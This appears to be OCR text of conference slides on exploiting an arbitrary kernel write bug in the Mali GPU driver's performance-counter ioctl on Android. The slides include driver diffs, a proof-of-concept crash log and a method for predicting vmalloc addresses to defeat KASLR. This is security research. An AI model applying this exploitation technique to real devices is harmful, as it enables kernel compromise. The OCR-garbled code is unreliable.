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Android kernel mitigations 101

e Android 13

PXN - Privileged eXecute Never

PAN - Privileged Access Never

UAO - User Access Override

PAC - Pointer Authentication Code

MTE - Memory Tagging Extension

KASLR - Kernel Address Space Layout Randomization
CONFIG_DEBUG_LIST

CONFIG_SLAB_FREELIST RANDOM/HARDENED

# CONFIG_SLAB_MERGE_DEFAULT is not set
CONFIG_BPF_JIT_ALWAYS ON
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Memory Tagging Extension

Attackers have been strategizing for 4+ years

Strong infoleak bug to leak tags - MTE defeated
CPU side channel attacks to leak tags (i.e. PA
Exemption of tagging on certain edge-cases
Attack surfaces that are not affected by MTE
Logic bugs

Some great insight on Saar Amar’s presentation :

“Security Analysis of MTE Through Examples — BlueHatlIL 2022”
@Mmow
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Android kernel mitigations 101

~ $ uname -a

e Android 14 Linux localhost 5.15.110-android14-11-ga6d7915820a0-ab10726252
#1 SMP PREEMPT Mon Aug 28 18:42:09 UTC 2023 aarch64 Android
* PXN - Privileged eXecute Never * 15y Al an
. CPU op-mode(s): 64-bit
* PAN - Privileged Access Never ey {ittia Endian
. CPU(s): 9
* UAO - User Access Override On-line CPU(s) list: 0-8
. . . Vendor 1ID: ARM
* PAC - Pointer Authentication Code Vodel: 1

Thread(s) per core: 1
Core(s) per socket: 4

eld CIAEPE 1
Stepping: ripi
* KASLR - Kernel Address Space Layo ¢py hax tiz: 1764. 0000
CPU min MHz: 324.0000
* CONFIG_DEBUG_LIST BogoMIPS: 49.15
Flags: fp asimd evtstrm aes pmull shal sha2 cr
° CONFlG SLAB FREELIST RANDON c32 atomics fphp asimdhp cpuid asimdrdm
- - - jscvt fcma lrcpc dcpop sha3 sm3 sm4 as
e H CONFIG SLAB MERGE DEFAULT imddp sha512 sve asimdfhm dit uscat ilr
— — - cpc flagm ssbs sb paca pacg dcpodp sve2
® CONFIG BPF JIT ALWAYS ON sveaes svepmull svebitperm svesha3 sve

smd _flagm? frint svei8mm svebf16 i8mm b
ti mte mte3
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Why Mal

e Backin 2021

C & en.wikipedia.org/wiki/Google_Tensor

Beginning in 2017, Google began to include custom-designed co-processors In its Pixel smartphones,
¢ namely the Pixel Visual Core on the Pixel 2 and Pixel 3 series and the Pixel Neural Core on the Pixel 4 GPU(s)
Contents [hide]

(Top)

series.[314] Co-processor

By April 2020, the company had made "significant progress" toward a custom ARM-based processor for its

™ Development Pixel and Chromebook devices, codenamed "Whitechapel".[®! At Google parent company Alphabet Inc.'s quarterly earnings investor call that October,
Background Pichai expressed excitement at the company's "deeper investments" in hardware, which some interpreted as an allusion to Whitechapel.[®! The Neural

Core was not included on the Pixel 5, which was released in 2020; Google explained that the phone's Snapdragon 765G SoC already achieved the camera

Design
S Modols performance the company had been aiming for.[7} In April 2021, it was reported that Whitechapel would power Google's next Pixel smartphones.®!

Google officially unveiled the chip, named Tensor, in August, as part of a preview of its Pixel 6 and Pixel 6 Pro smartphones.[?ll'% Previous Pixel
smartphones had used Qualcomm Snapdragon chips,!'!! with 2021's Pixel 5a being the final Pixel phone to do so.['2] Pichai later obliquely noted that the
development of Tensor and the Pixel 6 resulted in more off-the-shelf solutions for Pixel phones released in 2020 and early 2021.I'] In September 2022, The

Original
G2

Future Verge reported that a Tensor-powered successor to the Pixelbook laptop with a planned 2023 release had been canceled due to cost-cutting measures. 3!

Reception
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Why Mal
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CVE-??7?

* New commands are added
* New bugs

break;

SE_IOCTL_KINSTR_PRFCNT_ENUM_INFO:

E_HANDLE_IOCTL_INOUT(

KBASE_IOCTL_KINSTR CNT_ENUM_INFO,

kbase_api_kinstr_prfcnt_enum_info,

struct kbase_ioctl_kinstr_prfcnt_enum_info, kfile);
break;

case KBASE_IOCTL_KINSTR_PRFCNT_SETUP
KBASE_HANDLE_IOCTL_INOUT(KBASE_IOCTL_KINSTR_PRFCNT_SETUP,
kbase_api_kinstr_prfcnt_setup,
union kbase_ioctl_kinstr_prfcnt_setup,
kfile);
break;

Diff: r33 vsr34
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CVE-??77

Arbitrary kernel address write!
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CVE-??77

Arbitrary kernel address parse!
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if (enum_info->info_item_count kinstr_ctx->info_item_count) if (enum_info->info_item_count kinstr_ctx->info_item_count)
return -EINVA return -EINVAL;

prfcnt_item_arr = kcalloc(enum_info->info_item_count,
sizeof (*prfcnt_item_arr), GFP_KERNEL);
prfcnt_item_arr if (!prfcnt_item_arr)
tru prfcnt_enu u o->info_list_ptr; return -ENOMEM;

kbasep_kinstr_prfcnt_get_request_info_list(kin prfcnt_item_arr, kbasep_kinstr_prfcnt_get_request_info_list(prfcnt_item_arr, &arr_idx);

arr_idx) ;
metadata = kbase_hwcnt_virtualizer_metadata(kinstr_ctx->hvirt); metadata = kbase_hwcnt_virtualizer_metadata(kinstr_ctx->hvirt);
/* Place the sample_info item */
kbasep_kinstr_prfcnt_get_sample_info_item(metadata, prfcnt_item_arr, &arr_idx);

block_info_count = kbasep_kinstr_prfcnt_get_block_info_count(metadata); block_info_count = kbasep_kinstr_prfcnt_get_block_info_count(metadata);

if (arr_idx + block_info_count >= enum_info->info_item_count) if (arr_idx + block_info_count >= enum_info->info_item_count)
err = -EINVAL; err = -EINVAL

it () 4 fSern) St
sizedt¥countenrEset: size_t counter_set;

defined(CONFIG_MALI_PRFCNT_SET_SECONDARY) #if defined(CONFIG_MALI_PRFCNT_SET_SECONDARY)
counter_set = KBASE_HWCNT_SET_SECONDARY; counter_set = KBASE_HWCNT_SET_SECONDARY;
if defined (CONFIG_MALI_PRFCNT_SET_TERTIARY) #elif defined (CONFIG_MALI_PRFCNT_SET_TERTIARY)
counter_set = KBASE_HWCNT_SET_TERTIARY; counter_set = KBASE_HWCNT_SET_TERTIARY;
se #else
f /* Default to primar
counter_set = KBASE_HWCNT_SET_PRIMARY; counter_set = KBASE_HWCNT_SET_PRIMARY;
dif #endif
kbasep_kinstr_prfcnt_get_block_info_list( kbasep_kinstr_prfcnt_get_block_info_list(
metadata, counter_set, prfcnt_item_arr, &arr_idx); metadata, counter_set, prfcnt_item_arr, &arr_idx);
if (arr_idx != enum_info->info_item_count - 1) if (arr_idx != enum_info->info_item_count - 1)
err = -EINVAL; err = -EINVAL;
}

1 5 inel i /* The last sentinel item.

prfcnt_item_arr[enum_info->info_item_count - 1].hdr.item_type = prfcnt_item_arr[enum_info->info_item_count - 1].hdr.item_type =
FLEX_LIST_TYPE_NONE; FLEX_LIST_TYPE_NONE;

prfcnt_item_arr[enum_info->info_item_count - 1] r.item_version = 0; prfcnt_item_arr[enum_info->info_item_count - 1].hdr.item_version

1t (lerr) {
unsigned long bytes =
enum_info->info_item_count * sizeof (*prfcnt_item_arr);

if (copy_to_use 64_to_user_ptr(enum_info->info_list_ptr),
prfcnt_item_arr, bytes))
err = -EFAULT;

}
!

L kfree(prfcnt_item_arr);
return err; return err;

Diff: r34 vs r35
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static int kbasep_kinstr_prfcnt_parse_setup(
struct kbase_kinstr_prfcnt_context *kinstr_ctx,
union kbase_ioctl_kinstr_prfcnt_setup *setup,
struct kbase_kinstr_prfcnt_client_config *config)

uint32_t i;
struct prfcnt_request_item *req_arr;

if (!setup->in.requests_ptr || (setup->in.request_

(setup->in.request_item_size Gl

return -EINVAL;

req_arr =

item_count

(struct prfcnt_request_item *)(uintptr_t)setup->in.requests_ptr;

if (req_arr[setup->in.request_item_count - 1].hdr
FLEX_LIST_TYPE_NONE) {
return -EINVAL;

if (req_arr[setup->in.request_item_count - 1].h
return -EINVAL;

item_type !=

item_version != 0)

static int kbasep_kinstr_prfcnt_parse_setup(

Diff: r34 vs r35

struct kbase_kinstr_prfcnt_context *kinstr_ctx,
union kbase_ioctl_kinstr_prfcnt_setup *setup,
struct kbase_kinstr_prfcnt_client_config *config)

uint328 i
struct prfcnt_request_item *req_arr;
setup->in.r

/* Limiting the request items to 2x of the expected: acommodating

* moderate duplications but rejecting excessive abuses.

*/

if (!setup->in.requests_ptr || (item_count < 2) ||
(setup->in.request_item_size € L]

item_count 2

return -EINVAL;

(!'reqg_arr)
re n -ENOMEM;

if (copy_from_user(req_arr, u64

count - 1] item_ty ! LIST_TYPE_NONE
req_arr[item_count - 1] r.item_version {
r = -EINVAL;
f buf;

2023
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PoC

[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:
[pid:

12999, cpu4,PoC2023,3]Unable to handle kernel paging request at virtual address 0000000041414151
12999, cpu4,PoC2023,4]Mem abort info:

12999, cpu4,PoC2023,5] ESR = 0x96000045

12999, cpu4,PoC2023,6] EC = @0x25: DABT (current EL), IL =
12999, cpu4,PoC2023,7] SET = @, FnV = 0

12999, cpu4,P0C2023,8] EA = 0, SIPTW = 0

12999, cpu4,PoC2023,9]Data abort info:

12999, cpu4,PoC2023,0] ISV = 0, ISS =

12999, cpu4,PoC2023,1] CM = 0, WnR = 1
12999, cpu4,PoC2023,2]user pgtable: 4k pages, 39-bit VAs, pgdp=0000000085646000

12999, cpu4,P0C2023,3] [0000000041414151] pgd=0000000000000000, p4d=0000000000000000, pud=0000000000000000
12999, cpu4,PoC2023,4]Internal error: Oops: 96000045 [#1] PREEMPT SMP

12999, cpu4,PoC2023,5]Modules linked in:

12999, cpu4,PoC2023,61CPU: 4 PID: 12999 Comm: PoC2023 VIP: 00 Tainted: G W
12999, cpu4,PoC2023,7]TGID: 12999 Comm: P0C2023

12999, cpu4,P0C2023,8]

12999, cpu4, PoC2023, 9]pstate 60400005 (nZCv daif +PAN —UAO —-TCO BTYPE=—-)

32 bits

0x00000045

5.10.43 #1

12999, cpu4,P0C2023,0]pc :
12999,cpu4,PoC2023,1]1r :
12999, cpu4,PoC2023,2]pc :
12999, cpu4,PoC2023,3]sp :
12999, cpu4,PoC2023,4]x29:
12999, cpu4,PoC2023,5]x27:
12999, cpu4,PoC2023,6]x25:
12999, cpu4,PoC2023,7]1x23:
12999, cpu4,PoC2023,8]x21:
12999, cpu4,PoC2023,9]x19:
12999, cpu4,PoC2023,0]x17:
12999, cpu4,PoC2023,1]x15:
12999, cpu4,PoC2023,2]x13:

12999, cpu4,PoC2023,3]1x11:

12999, cpu4,PoC2023,4]x9 :
12999, cpu4,PoC2023,51x7 :
12999,cpu4,PoC2023,6]x5 -
12999, cpu4,P0C2023,71x3 :
12999, cpu4,PoC2023,8]x1 :

kbase_kinstr_prfcnt_enum_info+0x44/0x350
kbase_ioct1+0x494/0x3430
[<ffffffe946d669ec>] 1r :
ffffff8110b97cdo

ffffff8110b97dad x28:
0000000000000000 x26:
0000000000000000 x24:
0000007 fce5131c8 x22:
ffffff81b6429500 x20:
0000007 fce5131c8 x18:
0000000000000000 x16:
0000000000000000 x14: 0000000000000000
0000000100000000 x12: 0000000000000001
2000000000000000 x10: 0000000000000000
0000000041414141 x8 : ffffffe948cc6360
ffffff8110b97d90 x6 : ffffff8110b97d00
ffffff8110b97d00 x4 : 0000000000000008
0000000041414141 x2 : 0000000000000008
ffffff8110b97cf0 x0 : ffffff8009517100

[<ffffffe946d83634>] pstate: 60400005

ffffff816e4b1180
ffffffe94829f21c
ffffff8110b97cf0O
ffffff816e4b1180
00000000c0108038
0000000000000000
0000000000000000
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Exploitation
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Exploitation

prfcnt_item_arr =
(struct prfcnt_enum_item x) (uintptr_t)enum_info->info_list_ptr;
kbasep_kinstr_prfcnt_get_request_info_Llist(kinstr_ctx, prfcnt_item_arr,
&arr_idx);
metadata = kbase_hwcnt_virtualizer_metadata(kinstr_ctx->hvirt);
block_info_count = kbasep_kinstr_prfcnt_get_block_info_count(metadata);

if (arr_idx + block_info_count >= enum_info->info_item_count)
err = —EINVAL;

1if (lerr) o
size_t counter_set;

f defined(CONFIG_MALI_PRFCNT_SET_SECONDARY)

counter_set = KBASE_HWCNT_SET_SECONDARY ;

lif defined(CONFIG_MALI_PRFCNT_SET_TERTIARY)

counter_set = KBASE_HWCNT_SET_TERTIARY;

lse

/*x Default to primary *x/
counter_set = KBASE_HWCNT_SET_PRIMARY;

ndif

kbasep_kinstr_prfcnt_get_block_info_list(
metadata, counter_set, prfcnt_item_arr, &arr_idx);
if (arr_idx !'= enum_info->info_item_count - 1)
err = —EINVAL;
}

/* The last sentinel item. x/
prfcnt_item_arr[enum_info->info_item_count - 1].hdr.item_type =

ELEX LIST TYPE NONE:;
prfcnt_item_arr[enum_info->info_item_count - 1].hdr.item_version = 0;

static void kbasep_kinstr_prfcnt_get_request_info_list(
struct kbase_kinstr_prfcnt_context xkinstr_ctx,
struct prfcnt_enum_item xitem_arr, size_t xarr_idx)

o
memcpy (&item_arr[*arr_idx], kinstr_prfcnt_supported_requests,
sizeof(kinstr_prfcnt_supported_requests));
xarr_idx += ARRAY_SIZE(kinstr_prfcnt_supported_requests);
i

static struct prfcnt_enum_item kinstr_prfcnt_supported_requests[] = {
{

/* Request description for MODE request x/

whdr = A
.item_type = PRFCNT_ENUM_TYPE_REQUEST,
.item_version = PRFCNT_READER_API_VERSION,

I

.u.request = {
.request_item_type = PRFCNT_REQUEST_MODE,
.versions_mask = 0x1,

I
}
{
/* Request description for ENABLE request x/
vhdi =1
.item_type = PRFCNT_ENUM_TYPE_REQUEST,
.item_version = PRFCNT_READER_API_VERSION,
e
.u.request = {
.request_item_type = PRFCNT_REQUEST_ENABLE,
.versions_mask = 0x1,
}
i

P£2023
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Exploitation

prfcnt_item_arr =
(struct prfcnt_enum_item x) (uintptr_t)enum_info->info_list_ptr;

kbasep_kinstr_prfcnt_get_request_info_Llist(kinstr_ctx, prfcnt_item_arr,

&arr_idx);
metadata = kbase_hwcnt_virtualizer_metadata(kinstr_ctx->hvirt);

block_info_count = kbasep_kinstr_prfcnt_get_block_info_count(metadata);

if (arr_idx + block_info_count >= enum_info->info_item_count)
err = —EINVAL;

1if (lerr) o
size_t counter_set;

f defined(CONFIG_MALI_PRFCNT_SET_SECONDARY)
counter_set = KBASE_HWCNT_SET_SECONDARY;

lif defined(CONFIG_MALI_PRFCNT_SET_TERTIARY)
counter_set = KBASE_HWCNT_SET_TERTIARY;

lse
/*x Default to primary *x/
counter_set = KBASE_HWCNT_SET_PRIMARY;
ndif
kbasep_kinstr_prfcnt_get_block_info_list(
metadata, counter_set, prfcnt_item_arr, &arr_idx);
if (arr_idx !'= enum_info->info_item_count - 1)
err = —-EINVAL;
i

/* The last sentinel item. x/
prfcnt_item_arr[enum_info->info_item_count - 1].hdr.item_type =

ELEX LIST TYPE NONE:;
prfcnt_item_arr[enum_info->info_item_count - 1].hdr.item_version = 0;

P£2023

'static int kbasep_kinstr_prfcnt_get_block_info_list(

const struct kbase_hwcnt_metadata *metadata, size_t block_set,
struct prfcnt_enum_item xitem_arr, size_t *xarr_idx)

size_t grp;
size_t blk;

if (!metadata || !'item_arr || !arr_idx)
return —-EINVAL;

for (grp = @; grp < kbase_hwcnt_metadata_group_count(metadata); grp++) {

ol (Ibillk&==0}:

blk < kbase_hwcnt_metadata_block_count(metadata, grp);
blk++, (xarr_idx)++) {

item_arr[xarr_idx].hdr.item_type =

PRFCNT_ENUM_TYPE_BLOCK;

item_arr[*xarr_idx].hdr.item_version =

PRFCNT_READER_API_VERSION;

item_arr[*arr_idx].u.block_counter.set =

block_set;

item_arr[*arr_idx].u.block_counter.block_type =
kbase_hwcnt_metadata_block_type_to_prfcnt_block_type(

kbase_hwcnt_metadata_block_type(
metadata, grp, blk));

item_arr[*arr_idx].u.block_counter.num_instances =
kbase_hwcnt_metadata_block_instance_count(

metadata, grp, blk);

item_arr[*xarr_idx].u.block_counter.num_values =
kbase_hwcnt_metadata_block_values_count(

metadata, grp, blk);

/* The bitmask of available counters should be dynamic.
* Temporarily, it is set to U64_MAX, waiting for the
* required functionality to be available in the future.

*/

item_arr[*xarr_idx].u.block_counter.counter_mask[0] =

U64_MAX;

item_arr[*arr_idx].u.block_counter.counter_mask[1] =

}

return 0;

U64_MAX;
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Exploitation

struct prfcnt_enum_item {
struct prfcnt_item_header hdr;
union {

struct prfcnt_enum_block _counter
block _counter;

struct prfcnt_enum_request request;

tu;
}; // 32 bytes

struct prfcnt_item_header {
__ulé6item_type;
__ul6item_version;

5

struct prfcnt_enum_block counter {

__u8block_type;

U8 set;

___u8 num_instances;
__u8 num_values;

__u8 pad[4];

___ub4 counter_mask[2];

5

struct prfcnt_enum_request {
__ul6request_item_type;
__ul6 pad;
__u32versions_mask;

5

{20
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Exploitation

* kbasep_ kinstr_prfcnt_get request_info_list
0000: 01 00 00 00 OO OO0 00 00 OO 00 00 OO0 01 00 00 00
0016: 00 00 00 OO0 OO OO 00 OO0 OO 00 00 OO0 00 00 00 00
0032: 01 00 00 00 OO OO 00 OO0 01 00 00 OO0 01 00 00 00
0048: 00 00 00 00 OO OO 00 OO0 OO 00 00 00 00 00 00 00

* kbasep_ kinstr_prfcnt_get block info_list
0000: 00 00 00 00 00 00 00 0Q ?2? ?2? ?? ?? 00 OO0 00 OO
0016: FF FF FF FF FF FF FF FFFF FF FF FF FF FF FF FF

* The last sentinel item
0000: 00 00 00 OO0 00 OO0 00 00 00 00 00 00 00 00 00 00
0016: 00 00 00 OO0 OO0 OO0 OO0 00 OO0 00 OO0 OO0 00 00 00 00

Yo
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Exploitation

* kbasep_ kinstr_prfcnt_get request_info_list
0000: 01 00 00 00 OO OO0 00 00 OO 00 00 OO0 01 00 00 00
0016: 00 00 00 OO0 OO OO 00 OO0 OO 00 00 OO0 00 00 00 00
0032: 01 00 00 00 OO OO 00 OO0 01 00 00 OO0 01 00 00 00
0048: 00 00 00 00 OO OO 00 OO0 OO 00 00 00 00 00 00 00

* kbasep_ kinstr _prfcnt_get block info_list
0000: 00 00 00 00 OO0 00 00 00 00 00 00 00
0016: FF FF FF FF FF FF FF FFFF FF FF FF FF FF FF FF

* The last sentinel item
0000: 00 00 00 OO0 00 OO0 00 00 00 00 00 00 00 00 00 00
0016: 00 00 00 OO0 OO0 OO0 OO0 00 00 OO0 OO0 00 00 00 00 00

Yo

* info_item_countis 7
e 224(32 * 7) bytes
e 196(32 * 6 + 4) bytes

{20
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Exploitation

* Good news
* Arbitrary kernel address write

e Bad news
* Length is fixed
 Content is almost fixed
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Exploitation

* Good news
* Arbitrary kernel address write

e Bad news
* Length is fixed
 Content is almost fixed

e Where to overwrite?@

* Brute force(KASLR)
* Kernel information disclosure bug v
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Exploitation

* Good news
* Arbitrary kernel address write

e Bad news
* Length is fixed
 Content is almost fixed
« Where to overwrite? ®

* Brute force(KASLR)
* Kernel information disclosure bug v

* Use only one bug to exploit
* Guess or predict the addresses of kernel objects

Yo
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Exploitation

* kmalloc/kmem_cache_alloc
* Small object(size < 1 page) - fast
* Physically Contiguous pages
* Linear mapping(PAGE_OFFSET)

* vmalloc
* Large object - slow
* Physically Non-contiguous pages
 [VMALLOC_START, VMALLOC _END]
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Exploitation

* kmalloc/kmem_cache_alloc
* Small object(size < 1 page) - fast
* Physically Contiguous pages
* Linear mapping(PAGE_OFFSET)

» vmalloc ¥
* Large object - slow
* Physically Non-contiguous pages
 [VMALLOC_START, VMALLOC_END]
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VMALLOC

e Allocate

* Find the first free virtual memory area

* Free

* Mark the area as “unpurged”

* Purge
e Reclaim the unpurged area

Oxffffffc02121d000-Oxffffffc02121f000
Oxffffffc018c77000-0xffffffc018c79000
OxXffffffcO1f869000-0xffffffcOlf86b000
Oxffffffc021205000-0xffffffc021207000
Oxffffffc02120d000-0xffffffc021207000
Oxffffffc0211ed000-Oxffffffc0211ef000
Oxffffffc0231d0000-0xFfffffc0231d5000
Oxffffffc026ed8000-0xffffffc026edd0Od
Oxffffffc026748000-0xffffffc026F4d000
Oxffffffc026750000-0xffffffc026F55000
Oxffffffc026f70000-0xffffffc026f75000
Oxffffffc026768000-0xffffffc02676d000
Oxffffffc0268c8000-0xffffffc0268cd00O
Oxffffffc018009000-0xffffffc018b0b00O

8192
8192
8192
8192
8192
8192
20480
20480
20480
20480
20480
20480
20480
8192

unpurged
unpurged
unpurged
unpurged
unpurged
unpurged
unpurged
unpurged
unpurged
unpurged
unpurged
unpurged
unpurged
unpurged

vim_area
vm_area
vin_area
vin_area
vim_area
vimn_area
vim_area
vin_area
vim_area
vim_area
vim_area
vm_area
vim_area
vm_area
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VMALLOC

* Allocate

* Find the first free virtual memory area

* Free
 Mark the area as “unpurged”

* Purge
e Reclaim the unpurged area

Oxfffffffebfde00OO-Oxfffffffebfee8000 1081344
Oxfffffffebfee8000-OxfffffffebfffOOOO 1081344

Oxffffffc019c45000-0xffffffc019c47000
Oxffffffc0234F8000-0xffffffc02347d00O
Oxffffffcoladf7000-0xffffffcOladfdoee
Oxffffffcoladffe00-Oxffffffc01ae05000
Oxffffffcolade7000-0xffffffcOladedond
Oxffffffc01ac0feOO-OxffffffcOlacl5000

FErFrFrFrF _AAA _AAAAA A _FrrrFF_AAA_ALAAA

8192
20480
24576
24576
24576
24576
24576

Aann

pcpu_get_

vm

areas.cfi:jt+0x0/0x8 vmalloc

pcpu_get_vm_areas.cfi_jt+0x0/0x8 vmalloc

unpurged
unpurged
unpurged
unpurged
unpurged
unpurged
unpurged

vm_area
vm_area
vm_area
vm_area
vm_area
vm_area

2023
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Exploitation

* Hardcode the addresses of kernel objects
* Early allocated objects during booting

SLEUct foait
void *a;
void xb;

i

vigid inik Sod()e {
foo_t *f = kmalloc(sizeof(foo_t), GFP_KERNEL);

f->a = vmalloc(0x8000);
f->b = vmalloc(0x4000);
Tl
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Exploitation

* Hardcode the addresses of kernel objects
 Early allocated objects during booting

[panther:/data/local/tmp # cat /proc/vmallocinfo | more ]
Oxffffffc008000000-0xffffffcOO8005000 20480 start_kernel+0x21c/0x5f8 pages=4 vmalloc
OxffffffcOO8005000-OxffffffcOO8007000 8192 scs_alloc+0x18/0xc8 pages=1 vmalloc

OxffffffcOO8007000-OxffffffcOO8008000 4096 debug_snapshot_debug_kinfo_probe+0x198/0x2d8 [debug_sn

apshot_debug_kinfo] vmap

OxffffffcOO8008000-Oxffffffc0OO800dOOO 20480 start_kernel+0x21c/0x5f8 pages=4 vmalloc
OxffffffcOO800dOOO-OxFffffffcOO800fO0O0 8192 scs_alloc+0x18/0xc8 pages=1 vmalloc

Oxffffffc008010000-0xffffffcOO8015000 20480 start_kernel+0x21c/0x5f8 pages=4 vmallc[panther:/ # reboot
Oxffffffc008015000-0xffffffc0O8017000 8192 scs_alloc+0x18/0xc8 pages=1 vmalloc [thomasking@test-2 ~ % adb shell
gx;;;;;fCOOSGISOGO—0x£fffffc00§01d000 20480 start_kernel+0x21c/0x5f8 pages=4 Vmauc[panther:/ $ su

X fc00801dOOO-OxffffffcOO801FfOO0 8192 scs_alloc+0x18/0xc8 pages=1 vmalloc 5 wqn
Oxffffffc008020000-0xffffffc008025000 20480 start kernel+@x21c/0x5f8 pages=4 vmallc{gzztﬂz::; z g::°/pioys;:i{zﬁ;?grﬁx:ptr—reSt”Ct

OxffffffcO008025000-0Oxffffffc008027000 8192 scs_alloc+0x18/0xc8 pages=1 vmalloc
Oxffffffc008028000-0xffffffcO0802d000 20480 start_kernel+®x21c/Ox5f8 pages=4 vmallc OXFFffffc008000000-OxffffffcO08005000 20480 start_kernel+0x21c/0x5f8 pages=4 vmalloc

OxffffffcO0802d000-0xffffffc00802f000 8192 scs_alloc+0x18/0xc8 pages=1 vmalloc OxffffffcOO8005000-0xffffffcOO8007000 8192 scs_alloc+0x18/0xc8 pages=1 vmalloc
OXffffffco08030000-OxffffffcOO8035000 20480 start_kernel+0x21c/0x5f8 pages=4 vmallc OxffffffcOO8007000-0OxffffffcOO8008000 4096 debug_snapshot_debug_kinfo_probe+0x198/0x2d8 [debug_sn
OxffffffcOO8035000-Oxffffffc0O8037000 8192 scs_alloc+0x18/0xc8 pages=1 vmalloc apshot_debug_kinfo] vmap

gX::;;::cggggggggg—gX;;;:;:cggggggggg Zgggg StartTTernglzgiélcéex5f8 Piges=flvmallc0xffffffc0080080@0—OxfffffchOSOOdOOO 20480 start_kernel+0x21c/0x5f8 pages=4 vmalloc

2 9 B < Do I O G Ra S om Tl O C OxffffffcOO800dO0AO-OXxFffffffcOO800FfO00 8192 scs_alloc+0x18/0xc8 pages=1 vmalloc
OxTrfTTcO08040000-OxTITITcO08051000 69632 gic_of_init.31948+0x44/0x254 phys=0x00 g, £ ££££fc008010000-OxffffffcOOB015000 20480 start_kernel+0x21c/Ox5f8 pages=4 vmalloc

SRSRaR OxffffffcO08015000-0xffffffc0O8017000 8192 scs_alloc+0x18/0xc8 pages=1 vmalloc
Oxffffffc008018000-0xffffffcOO801dOOO 20480 start_kernel+0x21c/0x5f8 pages=4 vmalloc
OxffffffcO0801dOOO-OxFfffffcOO801FfO00 8192 scs_alloc+0x18/0xc8 pages=1 vmalloc
OxffffffcO08020000-0xffffffcOO8025000 20480 start_kernel+0x21c/0x5f8 pages=4 vmalloc
OxffffffcO08025000-0xffffffcOO8027000 8192 scs_alloc+0x18/0xc8 pages=1 vmalloc
Oxffffffc008028000-0xffffffcO0802d000 20480 start_kernel+0x21c/0x5f8 pages=4 vmalloc
OxFffffffcO0802d000-OxffffffcOO802f000 8192 scs_alloc+0x18/0xc8 pages=1 vmalloc
OXFfffffcOO8030000-0xffffffcOO8035000 20480 start_kernel+0x21c/0x5f8 pages=4 vmalloc
Oxffffffc008035000-0xffffffcOO8037000 8192 scs_alloc+0x18/0xc8 pages=1 vmalloc
OxffffffcOO8038000-0xffffffcOO803dOOO 20480 start_kernel+0x21c/0x5f8 pages=4 vmalloc
OxffffffcO0803dO0O-OxffffffcOO803Ff000 8192 scs_alloc+0x18/0xc8 pages=1 vmalloc
OxffffffcOO8040000-0xffffffcOO8051000 69632 gic_of_init.31948+0x44/0x254 phys=0x0000000010400000 i
oremap
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Exploitation

* Hardcode the addresses of kernel objects
* Early allocated objects during booting

SLEUct foait
void *a;
void xb;

i

vigid inik Sod()e {
foo_t *f = kmalloc(sizeof(foo_t), GFP_KERNEL);

f->a = vmalloc(0x8000);
f->b = vmalloc(0x4000);
Tl
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Predict the address

Oxffffffe51f284000-0xffffffe51f289000 20480 load_module+0x1ecc/0x2554 pages=4 vmalloc
Oxffffffe51f289000-0xffffffe51f75d000 5062656 load_module+0x1ecc/0x2554 pages=1235
vmalloc vpages

Oxfffffffebf498000-0xfffffffebf5a0000 1081344 pcpu_get vm_areas.cfi_jt+0x0/0x8 vmalloc
Oxfffffffebf5a0000-0xfffffffebf6a8000 1081344 pcpu_get_vm_areas.cfi_jt+0x0/0x8 vmalloc
Oxfffffffebf6a8000-0xfffffffebf7b0000 1081344 pcpu_get_vm_areas.cfi_jt+0x0/0x8 vmalloc
Oxfffffffebf7b0000-0xfffffffebf8b8000 1081344 pcpu_get_vm_areas.cfi_jt+0x0/0x8 vmalloc
Oxfffffffebf8b8000-0xfffffffebf9c0000 1081344 pcpu_get_vm_areas.cfi_jt+0x0/0x8 vmalloc
Oxfffffffebfoc0000-0xfffffffebfac8000 1081344 pcpu_get vm_areas.cfi_jt+0x0/0x8 vmalloc
Oxfffffffebfac8000-0xfffffffebfbd0000 1081344 pcpu_get vm_areas.cfi_jt+0x0/0x8 vmalloc
Oxfffffffebfbd0000-0xfffffffebfcd8000 1081344 pcpu_get_vm_areas.cfi_jt+0x0/0x8 vmalloc
Oxfffffffebfcd8000-0xfffffffebfde0000 1081344 pcpu_get_vm_areas.cfi_jt+0x0/0x8 vmalloc
Oxfffffffebfde0000-0xfffffffebfee8000 1081344 pcpu_get_vm_areas.cfi_jt+0x0/0x8 vmalloc
Oxfffffffebfee8000-0xfffffffebfff0000 1081344 pcpu_get_vm_areas.cfi_jt+0x0/0x8 vmalloc
Oxffffffc021c9b000-0xffffffc021c9d000 8192 unpurged vm_area
Oxffffffc021197000-0xffffffc021199000 8192 unpurged vm_area
Oxffffffc027a18000-0xffffffc027a1d000 20480 unpurged vm_area
Oxffffffc021be9000-0xffffffc021beb000 8192 unpurged vm_area

Oxffffffc021beb000-0xffffffc021bed000 8192 unpurged vm_area
Oxffffffc02122d000-0xffffffc02122f000 8192 unpurged vm_area

VMALLOC_START

VMALLOC_END

Music

Yo
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Predict the address

r 1 Oxffffffe51f284000-0xffffffe51f289000 20480 load_module+0x1ecc/0x2554 pages=4 vmalloc

VMALLOC_START Oxfffffe51f289000-0xfffffe51f75d000 5062656 load_module+0xlecc/0x2554 pages=1235
vmalloc vpages

Oxfffffffebf498000-0xfffffffebf5a0000 1081344 pcpu_get vm_areas.cfi_jt+0x0/0x8 vmalloc
Oxfffffffebf5a0000-0xfffffffebf6a8000 1081344 pcpu_get_vm_areas.cfi_jt+0x0/0x8 vmalloc
Oxfffffffebf6a8000-0xfffffffebf7b0000 1081344 pcpu_get_vm_areas.cfi_jt+0x0/0x8 vmalloc
Oxfffffffebf7b0000-0xfffffffebf8b8000 1081344 pcpu_get_vm_areas.cfi_jt+0x0/0x8 vmalloc
Oxfffffffebf8b8000-0xfffffffebf9c0000 1081344 pcpu_get_vm_areas.cfi_jt+0x0/0x8 vmalloc
Oxfffffffebfoc0000-0xfffffffebfac8000 1081344 pcpu_get vm_areas.cfi_jt+0x0/0x8 vmalloc
Oxfffffffebfac8000-0xfffffffebfbd0000 1081344 pcpu_get vm_areas.cfi_jt+0x0/0x8 vmalloc
Oxfffffffebfbd0000-0xfffffffebfcd8000 1081344 pcpu_get_vm_areas.cfi_jt+0x0/0x8 vmalloc
Oxfffffffebfcd8000-0xfffffffebfde0000 1081344 pcpu_get_vm_areas.cfi_jt+0x0/0x8 vmalloc
